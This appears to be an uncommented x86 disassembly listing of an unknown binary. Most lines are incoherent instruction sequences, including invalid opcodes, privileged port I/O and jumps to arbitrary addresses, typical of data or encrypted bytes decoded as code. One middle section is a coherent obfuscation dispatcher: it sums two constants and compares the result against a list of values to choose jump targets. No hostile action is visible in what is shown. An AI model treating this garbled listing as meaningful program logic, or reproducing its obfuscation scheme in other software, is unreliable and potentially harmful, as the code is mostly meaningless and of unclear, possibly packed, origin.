enter 0x1dd5, 0xffffffffffffff89
shr esp, 1
dec esp
cmp dword [eax - 0x22], eax
sub cl, byte [ebx + 0x6a]
xchg edi, eax
xor al, 0x5c
out 0x4c, eax
loop 0x67e5ce5a
dec eax
mov ecx, 0x409f227c
cmp al, 0x32
loope 0x67e5ce5c
sbb edx, dword [edx*4 + 0xf87e7c5]
cmp bl, byte [ebp - 0xb]
scasd eax, dword es:[edi]
fbstp tbyte [edi - 0x7f0a43b8]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
sbb edx, dword [ebp + ebp + 0x37]
xchg ecx, eax
mov byte [edi + 0x11faf4e1], ah
test ah, dh
dec edx
or byte [eax - 0x29fbaacf], 0x76
xchg dword [ebp + 0x4f7784a3], esp
cmp al, dl
cwde
ljmp 0xbce7
sub dword [eax - 0x5c49e961], eax
add eax, 0x73afb001
push esi
mov ebx, 0x48f654d8
insd dword es:[edi], dx
lcall 0x7b20, 0xe2c36b9f
sar byte [edx + 0x55], cl
and al, byte [esp + edx]
push 0xffffffffffffff8e
dec esi
inc edi
sti
mov dl, 0xfc
or eax, 0x137f60a0
scasb al, byte es:[edi]
fld qword [esi - 0x43]
outsd dx, dword [esi]
mov dh, 0xa9
imul ecx, dword [eax], 0xb03cc729
sbb ch, cl
push esi
sbb dword [eax - 0x4fb7d46c], ecx
fldcw word [edi]
scasd eax, dword es:[edi]
jle 0x67e5d4e9
push ss
loope 0x67e5d49d
cld
stosd dword es:[edi], eax
sub bh, byte [0x73386d98]
lds edx, [esi + 0x3a33f7b2]
cwde
insd dword es:[edi], dx
cmp byte [ebx - 0x3b], dh
xchg esi, eax
mov dl, 0xf7
xor edi, dword [edx]
xor dh, byte [eax]
xchg edx, eax
sub eax, 0x3b749145
adc byte [eax + 0x279e6cc], dl
mov ch, byte [edi - 0x7cbaf208]
sub dh, byte [ecx - 0x5debfba9]
stosd dword es:[edi], eax
daa
les eax, [eax]
push edx
cmp bh, byte [eax]
cld
leave
cli
mov eax, 0x991964dc
fsub qword [ecx + ebx - 0x67]
sbb dword fs:[ecx + 0x5f3de394], ebx
xchg esp, eax
jecxz 0x67e5d52c
pop edi
in eax, 0xbb
mov ecx, 0x61783ccd
popfd
leave
mov ds, word [esi - 0x1fa75674]
scasd eax, dword es:[edi]
daa
xchg esp, eax
sar byte [edi], 0xfa
pop esi
jl 0x67e5d4b8
xor cl, al
lodsd eax, dword [esi]
jnp 0x67e5d4e8
sub eax, 0xf077723f
mov ecx, 0xa7e2e610
xchg esp, eax
push 0xbb3e992
call 0xb8c76e9a
mov ebp, dword [edi - 0x47]
sub dword [esi + 0x2c977814], edi
push eax
sub al, 0x50
rol al, cl
nop
int3
pop edi
add eax, 0x9b380d34
push ecx
add dl, 0x35
mov ch, 0x36
sbb al, 0xd4
test ah, bh
mov dh, 0x6b
nop
int3
push ebx
and byte [esi - 0x23], al
call 0xb5e5e956
js 0x67e5d96a
add al, 0x38
mov bl, 0xe0
sbb edx, esp
add esp, dword [eax + 0x34e985f6]
aam 3
mov al, byte [0x34e985f6]
dec ebx
ljmp 0x1824
lodsb al, byte [esi]
sbb bl, bh
sti
daa
nop
int3
loope 0x67e5d9db
push ds
dec esi
sbb eax, 0x1c849eef
call 0x87c62c76
sub dword es:[eax], 0xa4469e3c
pop ds
push es
stosd dword es:[edi], eax
outsb dx, byte [esi]
xchg ebx, eax
jle 0x67e5d99c
or esi, dword [edx + 0x6d4a95b]
adc al, 0xf4
mov ah, 0x69
pop es
push esi
inc ebx
call 0x54af6498
mov al, 0xf4
pushfd
out dx, eax
sbb al, dh
cli
int1
jg 0x67e5d9ac
hlt
or dl, cl
pop ebp
cmp eax, 0x882542ab
mov dh, 0xd7
mov edx, ebx
mov dword [0x8f5e1717], eax
enter 0x1ab4, 0xffffffffffffffd0
dec edi
jae 0x67e5da8f
out 0x29, al
fsubr dword [edi - 0x70]
int3
pop ds
mov ss, word [esi + 0x5e41cd04]
xchg esi, eax
test byte [esi + 0x6e], al
pop edi
push esp
mov eax, dword [0x87fe6b4f]
jo 0x67e5da11
jge 0x67e5d9ee
outsd dx, dword [esi]
outsb dx, byte [esi]
push esi
int1
int 0x2e
xor esi, 0xd77eed04
sub dword [ebp + 0x266dce12], esp
cmp eax, 0x64d35c6e
invalid
jns 0x67e5dac2
enter 0xfffffffffffff0af, 0x14
in eax, dx
sbb dword [ecx - 0x72], ebp
in al, dx
inc byte [eax - 0x6b]
inc eax
xchg ebp, eax
movsb byte es:[edi], byte [esi]
outsb dx, byte [esi]
rcl dword [edx + 0x53446083]
mov al, 0xdc
jg 0x67e5da83
daa
pop eax
aad 0xcf
arpl word [0x4ce56923], ax
pop ebp
sti
xchg ebp, eax
jmp 0x5fb26b26
test byte [eax], 0x50
add dword [ebx], esi
push edx
cmpsd dword [esi], dword es:[edi]
test ch, dh
rcr dword [edi + 5], 1
jg 0x67e5da6d
jo 0x67e5db35
wait
mov eax, dword [0xb9fb5cca]
iretd
invalid
sub byte [esi - 0xa], 0x42
salc
dec eax
add al, 0x9d
out 8, al
xor eax, 0xdd738819
call 0xf0203183
push edi
sub dh, byte [eax + ecx*2 + 0x1b]
sahf
retf 0x842e
in al, 0xf3
and ecx, 0xffffffda
add al, 0x98
mul al
cmp dl, byte [esi - 0x41]
mov ch, 0xda
mov ecx, 0xc3b04a0c
xlatb
xchg ebx, eax
stc
fld qword [ecx + 0x20b341aa]
loope 0x67e5dff2
adc byte [0x12d57aad], cl
bound esi, qword [eax + 0x17b252e3]
add al, 0xcf
outsb dx, byte [esi]
pop esp
wait
mov esi, 0x7b60d636
sar esp, 1
lahf
mov ebp, 0xb19fd96d
pop ss
or byte [edx + 0x29], cl
xchg esi, eax
sal edx, 0xf3
shl byte [eax + ebx*2 + 0x6e], cl
enter 0x71a5, 0xffffffffffffffdb
or ch, bh
adc esi, dword [edi - 0x1532d4f6]
invalid
inc ecx
and ebp, dword [ecx]
dec edi
mov ch, 3
invalid
pushfd
jne 0x67e5e5cd
push es
mov dh, byte [eax - 0x30]
xchg esi, eax
fstp dword [edi]
dec esp
mov ebp, 0xaaed007f
sub cl, ah
movsd dword es:[edi], dword [esi]
popal
stosd dword es:[edi], eax
ror dword [edi], 0x55
dec eax
mov edx, 0xe132bd8c
into
or eax, eax
cmp ch, byte [ebx - 0x16ca3a59]
les esp, [ebp - 0x4b]
test eax, 0xf2bad852
or al, 0x40
xchg ebx, eax
mov ch, 0xa9
push edx
fdivr dword [edx - 0x6cbff30e]
pop ebp
dec edi
sbb esp, 0x29
outsb dx, byte [esi]
shr byte [ebx - 0x20], cl
or ecx, dword [ebx + 0x318a544c]
inc esp
in al, 0x24
sub eax, 0xe1d4536
lds ebp, [eax]
arpl dx, dx
loop 0x67e5e676
pop ebp
dec esp
pop eax
int3
test al, 0xae
mov cl, byte [edx + 0x6c369039]
test byte [eax - 0x6971e5bc], 0xdc
inc eax
in al, dx
push cs
mov al, 0x58
push 0x3653ddba
ja 0x67e5e636
invalid
mov ss, word [ecx - 0x37]
test bh, 0xb0
outsd dx, dword [esi]
sbb cl, al
shr ah, 0x35
invalid
mov cl, 0x87
pop es
rol dword [edi], cl
iretd
lcall 0x2f24, 0xe1c97ab0
jle 0x67e5f17d
stc
and ecx, dword [ebp - 0x80]
xchg edx, eax
pop ecx
sub eax, 0x75672138
psadbw mm6, qword [ecx - 0x359b1a8f]
mov edx, 0xaf752f00
out dx, al
in eax, 0x5c
popal
mov al, byte [0x3454fd25]
lds edx, [edi + 0x47a80bc3]
cli
inc edx
lcall 0x2e82, 0xc79189f9
mov bh, 0x55
add byte [ebp + 0x6ba911d2], bh
push edi
pop ss
cmpsd dword [esi], dword es:[edi]
push 0xcabc7834
push esi
invalid
xor edx, dword [esi]
inc ecx
invalid
int3
pop ss
add byte [eax], al
inc esi
scasd eax, dword es:[edi]
push 0x48
fild word [eax]
xchg esp, eax
sar dword [eax - 0xd1f71b9], 0x9b
adc dl, cl
push ebp
xor al, 0x59
jge 0x67e5fd8b
adc dword [edx - 0x1d4be673], esi
sub ah, cl
lock sub ebp, dword [ecx]
sbb dword [ecx + 0x38f08624], ebp
ja 0x67e5fd8e
mov ah, 0xfb
dec ebx
mov word [esi - 0x41], gs
mov ecx, 0x30cde257
mov bh, 0xd3
lahf
sbb edx, esp
in al, 0x59
cmc
push eax
xchg edi, eax
lodsd eax, dword [esi]
bound eax, qword [ecx + ebp*4]
imul edi
lds edx, [esi + 0x77]
lodsd eax, dword [esi]
inc esp
xor ebx, edx
js 0x67e5fe1f
out dx, al
and ch, byte [esi + 0x72]
ret 0x69e5
fist word [eax + 0x2d]
dec ebx
mov eax, 0x27f19bf4
cld
cwde
test eax, 0x5e201ade
mov al, byte [0xf8b569ee]
jmp 0x67e5fdce
mov dword [0x5461d992], eax
jmp 0x67e5fdfd
fld xword [edx - 0x587ae5a5]
adc ebp, dword [eax + 0x254197b6]
mov edx, 0xdfb5966a
fst qword [edi]
invalid
inc ebp
adc dword [esi - 0x7f], 0xcd68c07d
wait
fst dword [ecx + 0xd688cd3]
mov ecx, 0x1b7bc171
inc ebx
mov cs, word [esi]
invalid
lahf
add eax, 0xf0632c01
xchg esi, eax
cbw
hlt
inc ebp
movsd dword es:[edi], dword [esi]
test dword [eax - 0x2d55a02d], edx
sahf
jmp 0x67e60eab
fsub st(3), st(0)
outsd dx, dword [esi]
loop 0x67e60eda
xchg edx, eax
daa
pop esi
dec ecx
invalid
shl dword [eax - 0x59], 1
nop
sbb dword [edi - 0x50098e35], esp
push ds
std
mov dword [ebx + 0x78], 0x3222bb12
sbb eax, 0xea725010
dec esi
or dword [edx + 0x23], ebp
mov eax, 0xc44b126a
add dword [esp + ebx*8], esi
mov dword [edx + ebx + 0x1c], ebp
pop edx
sahf
aaa
jecxz 0x67e60ef0
push edi
inc esi
out dx, al
or al, 0x97
neg byte [esi - 0x27]
xor ah, byte [0x143f2f9b]
stosb byte es:[edi], al
sbb eax, 0x66929118
fnstcw word [eax - 0x70]
push eax
bound esp, qword [edi]
retf 0xa1e8
nop
jmp 0x67e61516
nop
nop
mov dword [ebp - 0x138], 0xce52b
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x140], 0x92148
mov dword [ebp - 0x13c], 0
mov ecx, dword [ebp - 0x138]
mov ebx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x140]
mov edx, dword [ebp - 0x13c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x148]
xor eax, 0x160673
or eax, dword [ebp - 0x144]
je 0x67e67cb3
mov edx, 0x160673
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0xd9f09
or eax, dword [ebp - 0x144]
je 0x67e66b13
mov edx, 0xd9f09
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0xd7d08
or eax, dword [ebp - 0x144]
je 0x67e62a68
mov edx, 0xd7d08
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0xa777f
or eax, dword [ebp - 0x144]
je 0x67e676d5
mov edx, 0xa777f
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x9f2cb
or eax, dword [ebp - 0x144]
je 0x67e65f51
mov edx, 0x9f2cb
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x81269
or eax, dword [ebp - 0x144]
je 0x67e65970
mov edx, 0x81269
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x76ff5
or eax, dword [ebp - 0x144]
je 0x67e670f4
mov edx, 0x76ff5
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x72bae
or eax, dword [ebp - 0x144]
je 0x67e62487
mov edx, 0x72bae
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x6f0f9
or eax, dword [ebp - 0x144]
je 0x67e6538f
mov edx, 0x6f0f9
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x6b3b4
or eax, dword [ebp - 0x144]
je 0x67e61ea6
mov edx, 0x6b3b4
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x6a87f
or eax, dword [ebp - 0x144]
je 0x67e63049
mov edx, 0x6a87f
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x522a9
or eax, dword [ebp - 0x144]
je 0x67e641ec
mov edx, 0x522a9
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x509a0
or eax, dword [ebp - 0x144]
je 0x67e66532
mov edx, 0x509a0
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x4f651
or eax, dword [ebp - 0x144]
je 0x67e64dae
mov edx, 0x4f651
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x4a89d
or eax, dword [ebp - 0x144]
je 0x67e63c0b
mov edx, 0x4a89d
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x3e5f0
or eax, dword [ebp - 0x144]
je 0x67e6362a
mov edx, 0x3e5f0
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67e67cb6
mov eax, dword [ebp - 0x148]
xor eax, 0x21698
or eax, dword [ebp - 0x144]
je 0x67e647cd
mov eax, dword [ebp - 0x148]
xor eax, 0x21edd
or eax, dword [ebp - 0x144]
jne 0x67e67cb6
test byte [edx + 0xa71cbfc], bl
add byte [edi + 0x62], ah
sbb eax, 0xef31740
add al, 0x70
test al, 0x3b
insd dword es:[edi], dx
insd dword es:[edi], dx
invalid
test eax, 0xb414dae5
mov ebx, 0xe358165
scasb al, byte es:[edi]
mov esi, 0x1b5ac42c
xor eax, 0x2cbeae0e
les ebx, [edx + 0x1b]
sub al, 0xc4
pop edx
sbb ebp, dword [ebp + 0x3bd99918]
push ebx
rcl byte [esi], 0x2e
js 0x67e61e10
lodsd eax, dword [esi]
sbb byte [ecx - 0x3facc427], bl
push ss
js 0x67e61e10
int 0x40
aaa
std
and al, 0x8b
bound esi, qword [ebx + 0x62]
mov dword [edx - 0x5d], 0x94d28cc9
cmp al, 0x12
sbb cl, dh
cld
inc esp
enter 0xffffffffffff90dc, 0xffffffffffffffcc
scasb al, byte es:[edi]
push cs
salc
or eax, esp
fisttp qword [edx + 0x5449b77e]
mov bh, byte [esi - 0x49]
dec ecx
push esp
jge 0x67e61e19
xchg esi, esi
add ecx, dword [edx + 0x32]
push 0xbe8d
outsb dx, byte [esi]
pushal
jecxz 0x67e61e08
bound ecx, qword [esi + 0x5a36267e]
sub eax, 0x6f8ed848
cmc
rcl byte [ebx], cl
and eax, 0x3ee5b595
test dword [edi], 0x9664f00c
pop dword [ebx + 0x51a93015]
das
jno 0x67e61e14
adc eax, 0x194d2433
or dword [edx], ecx
fcomp dword [edi - 0x604c518f]
jecxz 0x67e61e4f
dec edi
lahf
test esi, 0xde3a5aa7
fidivr word [ebp + 0x50]
jae 0x67e61e37
hlt
imul esi, dword [ebp - 0x4f70f318], 0xffffffcd
ja 0x67e61e43
xchg ebx, eax
sub dword [edx + 0x5f], 0xffffff93
invalid
xlatb
xor bh, dl
mov eax, dword [0x77cae8a7]
invalid
and al, 0xcb
xchg ebx, eax
push ds
jge 0x67e6246a
xchg ecx, eax
stosd dword es:[edi], eax
mov ebp, 0x6bcd4c51
cmp dword [eax], 0x97510e6f
salc
mov edi, 0x50dc7b09
cmp byte [esi], ch
sub bh, cl
ror byte [ecx + ebp*4 - 0x53], cl
xor byte [edx + 0x74a29364], dh
mov ebp, 0xc65401d5
mov word [edi + 0x2c374014], fs
arpl word cs:[eax - 0x65], cx
sub al, 0x2e
arpl word [eax - 0x65], cx
pavgw mm7, qword [edx + 0x45b4ed07]
jecxz 0x67e6242c
pop es
in eax, dx
mov ah, 0x45
loope 0x67e62470
in eax, dx
out 0xda, eax
jmp 0x67e6243d
fistp dword [edi - 0x60]
loopne 0x67e624da
bnd jns 0x67e62439
and eax, 0x6447394c
or edx, dword [edx - 0x613a5088]
invalid
adc edx, dword [ebp + 0xba80fca]
sbb eax, 0xfe64b2be
dec eax
in eax, dx
xchg ebp, eax
cmp edx, dword [eax + 0x409678cc]
jnp 0x67e62512
xchg byte [esi + ecx*2 - 0x3d0fd147], bl
outsd dx, dword [esi]
push ebx
int1
fadd qword [edi - 0x7b9a8459]
inc ebx
stosb byte es:[edi], al
mov dword [0xc50d09a7], eax
test dword [edi + 0x7e65b9d1], 0xee974b47
adc edx, dword [0xe0f27d56]
add al, byte [ebp - 0x1c]
pop edx
sbb al, 0xa4
outsb dx, byte [esi]
shl byte [ecx], 1
adc ebx, dword [edx]
das
aas
pushal
mov eax, 0x2941ec2f
dec esp
push edi
iretd
test al, 0xb1
sbb byte [esi + 0x35], dh
push eax
popfd
daa
xor ebx, dword [edi + edi*4 - 0x77]
mov dl, 0xbb
dec esp
xchg byte [ebp + 0x16], cl
fcomp dword [esi]
pop esp
add edx, dword [esi - 0x7573af52]
mov fs, word [eax]
or byte [ebp - 0x3f], ah
retf 0xaa1b
pop edx
aad 0x86
popal
fmul qword [esi - 0xb5a2615]
dec ecx
in al, dx
invalid
mov eax, dword [0xb3d6161c]
xor byte [ebp + esi*8 - 0x722686b7], 0xe9
mov edi, 0x48ec4ed8
ljmp 0xd286
leave
mov eax, dword [0xce8d6a75]
pop es
mov ah, 0x61
pop esi
or al, 0xe5
add al, 0x1e
test byte [ebp + ebx*8 + 0xee5c1ce], al
pushfd
mov ah, 0x1c
jo 0x67e63bda
mov al, 0xa0
aam 0x55
push ecx
adc dh, al
hlt
fadd qword [esi - 0x3f]
das
call 0xa429c0b5
test byte [ebx + 0x3c], al
bound ebp, qword [ebx - 0x67015cf]
jl 0x67e63ba7
cmc
xor dword [edi - 0x6594d80b], 0xfffffff8
mov ebp, 0xdea32aa9
mov bl, byte [ecx]
cmp ch, ch
push esp
invalid
dec eax
dec edx
pop eax
sub dword [ebx], ebx
xchg dword [eax - 0x9ae4875], esi
jl 0x67e63be0
int3
and dword [ebp + 0x38], edx
aaa
iretd
aad 0x5f
pop edi
loope 0x67e647ce
mov al, 0x27
sti
mov edx, 0xe31ec599
add eax, 0x3e4b23f2
xlatb
ret
adc bh, al
retf
les ebp, [ecx]
xor eax, 0x4d6dd85f
sbb esi, ecx
push eax
ja 0x67e64dd8
pushal
xchg edx, eax
leave
jg 0x67e64d38
int3
inc esp
push esp
rcr edi, 1
jp 0x67e64e23
cmp dword [edi + 0x4a], 0x577a7bca
jmp 0x67e64d97
stosd dword es:[edi], eax
aam 0x68
dec eax
and ebx, dword [esi - 0x19]
cmp byte [edx + 0x33], bl
sahf
in al, 0xd5
insb byte es:[edi], dx
ljmp 0x785e
scasb al, byte es:[edi]
xchg byte [0x109f2ad1], ch
nop
int3
aam 0xce
nop ecx
stc
fcomi st(0)
scasd eax, dword es:[edi]
punpckhwd mm1, mm7
popfd
adc eax, 0x78b7ba9f
lea edi, [eax - 8]
adc dword [ebx + 0x70], ecx
cmp eax, 0x2977c131
loope 0x67e64e09
jmp 0x67e64e9a
or al, 0x31
jns 0x67e64ef7
cmp edi, dword [ecx - 0x17f2105c]
fld dword [esi]
mov ebp, 0xb685a5ee
inc edx
cmp byte [eax], ch
jo 0x67e64ed1
cmp dword [ecx], ebx
loope 0x67e64eee
pop edx
retf
xor cl, byte [esi]
pushfd
pop edi
dec ecx
push ebp
cmp dword [eax + 0x16b511cc], edx
fsub dword [ecx + edi*8 + 0x59fbf51b]
cli
ja 0x67e64ef0
cdq
sbb ch, al
cmp dl, byte [edi + 0x24]
sub cl, dh
int1
push edi
push edi
push esi
push ss
aas
out 0x28, eax
int1
imul esp, esi, 0xd81a11a2
pop ecx
mov eax, dword [edi + 0x5a]
jg 0x67e64f76
neg cl
rcl byte [edi - 0x4f], 0x80
call 0x11583039
mov esi, 0xd9db7b36
mov ah, 0x6f
test al, 0x18
test byte [ecx - 0x7c5ca29a], ch
adc al, 0x4e
imul edi, dword [edi], 0xffffffb8
test dl, dh
cmpsb byte [esi], byte es:[edi]
sbb eax, 0x7d1845d4
push edx
out dx, eax
outsd dx, dword [esi]
pop ebp
lcall 0xeec4, 0x44d54e1f
sbb esi, dword [eax - 0x6cadfacd]
nop
int3
adc dword [esi], edi
mov ebp, 0xe77aa459
xchg ebp, eax
mov edx, 0x3ee4e1b3
jecxz 0x67e64fb3
arpl word [edx + 0x36], ax
das
scasd eax, dword es:[edi]
sub ebx, ebx
mov byte [0x25ec2e85], al
fstp dword [esi]
into
mov dl, 0x8b
push es
in al, dx
and eax, 0xb2ce1ed9
mov eax, dword [esi]
or ch, 0xdc
jmp 0x67e64f5c
mov edi, 0xf2a20c57
sub al, 0x71
xchg dh, al
dec ebp
or ebp, ebp
cmpsd dword [esi], dword es:[edi]
lodsd eax, dword [esi]
in al, dx
mov bh, 0xa9
inc ebp
pushfd
and dl, dl
xchg edi, eax
dec edi
jmp 0x30cfa76e
pop esp
test byte [eax], dl
push esp
jno 0x67e653eb
cmc
aad 0x33
fadd dword [ebx + 0xd]
inc esp
inc eax
sub ecx, ecx
cmpsb byte [esi], byte es:[edi]
aas
dec edx
push cs
dec edx
sti
jge 0x67e6540b
pop edi
invalid
lea ebx, [ebx - 0xb]
test edi, 0x5fcc9053
test al, 0xd9
hlt
invalid
push 0x98047f38
pop ecx
mov ebx, ecx
dec ecx
cmp eax, 0x9152d31c
js 0x67e65406
add bl, bh
or al, 0xf3
iretd
push ebx
aas
bound esp, qword [eax - 0x60909bc3]
into
test byte es:[0x3e72a12], 0xc4
fst dword [ecx]
mov edi, 0x4037337e
ret 0x84c3
sbb dword [edi - 0x7541ffcc], 0x11e7e7c
hlt
mov ah, byte [edi + ecx*8]
add al, 0xbc
lodsd eax, dword [esi]
pop esi
sal dword [ecx - 0x39], cl
jecxz 0x67e65f38
pop edx
dec ebx
sbb ebx, ecx
cld
push es
cmp dword [esp + edx*2], esi
or al, 0xe8
and eax, 0xab9a512e
mov ch, 0xd3
mov ah, ch
cld
push edi
salc
mov si, 0xc10f
iretd
retf 0xadc
cwde
pop ds
mov bl, 0xe1
test eax, 0x52603f2b
jae 0x67e664cc
cdq
in al, 0x2f
dec eax
inc edi
shr dword [esp + ebx*2], cl
imul esi, eax, 0x2e
cmp ah, byte [ecx - 0x2a4e67fb]
popal
cmp byte [ebx - 0x2e], dh
test al, 0xab
xlatb
cmp dword [edi + 0x33f1690d], edi
popfd
jle 0x67e665d3
shr byte [edx + 0x38], 1
push 0x46
call 0xa41e6d98
xor eax, 0x94f4dafb
sub dl, dh
dec ebp
push 0xc813737
salc
scasb al, byte es:[edi]
in al, dx
inc ebx
and dh, bl
test dh, ch
test dh, ch
inc ecx
mov cl, 0x4a
xchg edi, eax
jne 0x67e6653d
pop eax
add eax, 0x5c55971c
mov dword [0xb0d7c97a], eax
push 0x21
shr dword [esi], cl
xchg dh, ah
nop
int3
jmp 0x67e6657a
imul eax
xchg edx, eax
sub edi, dword [eax - 0x627fcc20]
jg 0x67e66b63
push esi
inc eax
xchg ebx, eax
push edi
pop ss
sub byte [edi + 0x2b9af25b], dh
mov ecx, 0xcae78f62
sar dword [edi], cl
rcr dword [edx + 3], cl
jmp 0x67e66b32
add ebp, ebx
std
out dx, eax
mov esi, esi
aam 0x6b
invalid
cmp cl, byte fs:[esi]
lea eax, [ebp + 0xc]
dec edi
xchg esi, eax
imul edx, ebx, 0x4aac54f2
popfd
xchg edi, eax
mov bl, 0x90
int3
nop
lea eax, [ebx + 0x59]
test byte [esi + edx*2 + 0x12d07d54], al
sub eax, 0x92e62fbe
or al, 0xc4
ljmp 0xa2f0
sub cl, byte [ebx - 0x5b]
psubsw mm5, qword [edi - 0x2a]
fsub qword [edi + 0x1a]
mov edx, dword [eax + 0xe]
scasb al, byte es:[edi]
outsd dx, dword [esi]
daa
cmpsd dword [esi], dword es:[edi]
jns 0x67e670af
fistp dword [eax + 0x4103518d]
jle 0x67e670cf
retf 0x9098
cmpsb byte [esi], byte es:[edi]
dec ebp
in eax, dx
call 0x46240bd7
insb byte es:[edi], dx
and byte [ebx - 0x5eda637f], bl
or byte [ebx], ch
sti
mov dl, 0x6b
xor byte [eax + ecx*2 - 0x56e6fc6e], bl
mov esi, 0x2a9354d9
sub eax, 0xdd21dda3
pop ebx
lahf
push ss
push edx
int 0x81
xchg ecx, eax
sahf
sbb bl, dh
ja 0x67e67120
in al, dx
jecxz 0x67e670e2
and esp, dword [esi - 0x6230e14d]
cmp byte [ecx], 0x76
movsb byte es:[edi], byte [esi]
add dword [edx + edi - 0x7b], 0x6c
nop
cmp al, 0x6a
fdivr st(0), st(0)
dec edx
pop es
aam 0xa
sbb byte [edi + eax*8], dl
out 0x64, al
pop edx
sbb dword [ebx], ebp
and edx, esp
mov dword [edi], ebp
jmp 0x96ef890d
ljmp 0xeffa:0x7ef2480e
jecxz 0x67e67684
pop es
fld st(1)
sbb dl, cl
invalid
add byte [eax], al
fst st(7)
test dword [edx], ecx
cdq
cmp ecx, dword [ebp - 0x38449b9c]
dec ecx
jb 0x67e676c2
adc dh, byte [edx - 0x158e8283]
pop ebp
adc eax, 0x209b7dd7
dec eax
sub al, 0xcb
mov byte [0x1da70809], al
xlatb
salc
push ecx
xchg edx, eax
pop ecx
pop edx
mov dword [0x5becfc14], eax
adc al, 0xfe
push edx
int 0xf9
or ebp, dword [ebp - 0x46]
xor edi, dword [ebx]
or al, bh
insd dword es:[edi], dx
sal byte [edi], 0x1d
test al, 0xbe
cwde
push edi
out 0x49, al
jnp 0x67e676d3
cmc
adc byte [eax - 0x29], dl
cmpsb byte [esi], byte es:[edi]
jns 0x67e676ef
inc edi
insd dword es:[edi], dx
xor ebp, esp
mov ebp, 0x8a47c0d8
outsd dx, dword [esi]
dec ebx
cmc
and al, 0xad
invalid
nop
jmp 0x67e67cb7
nop
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret 0xc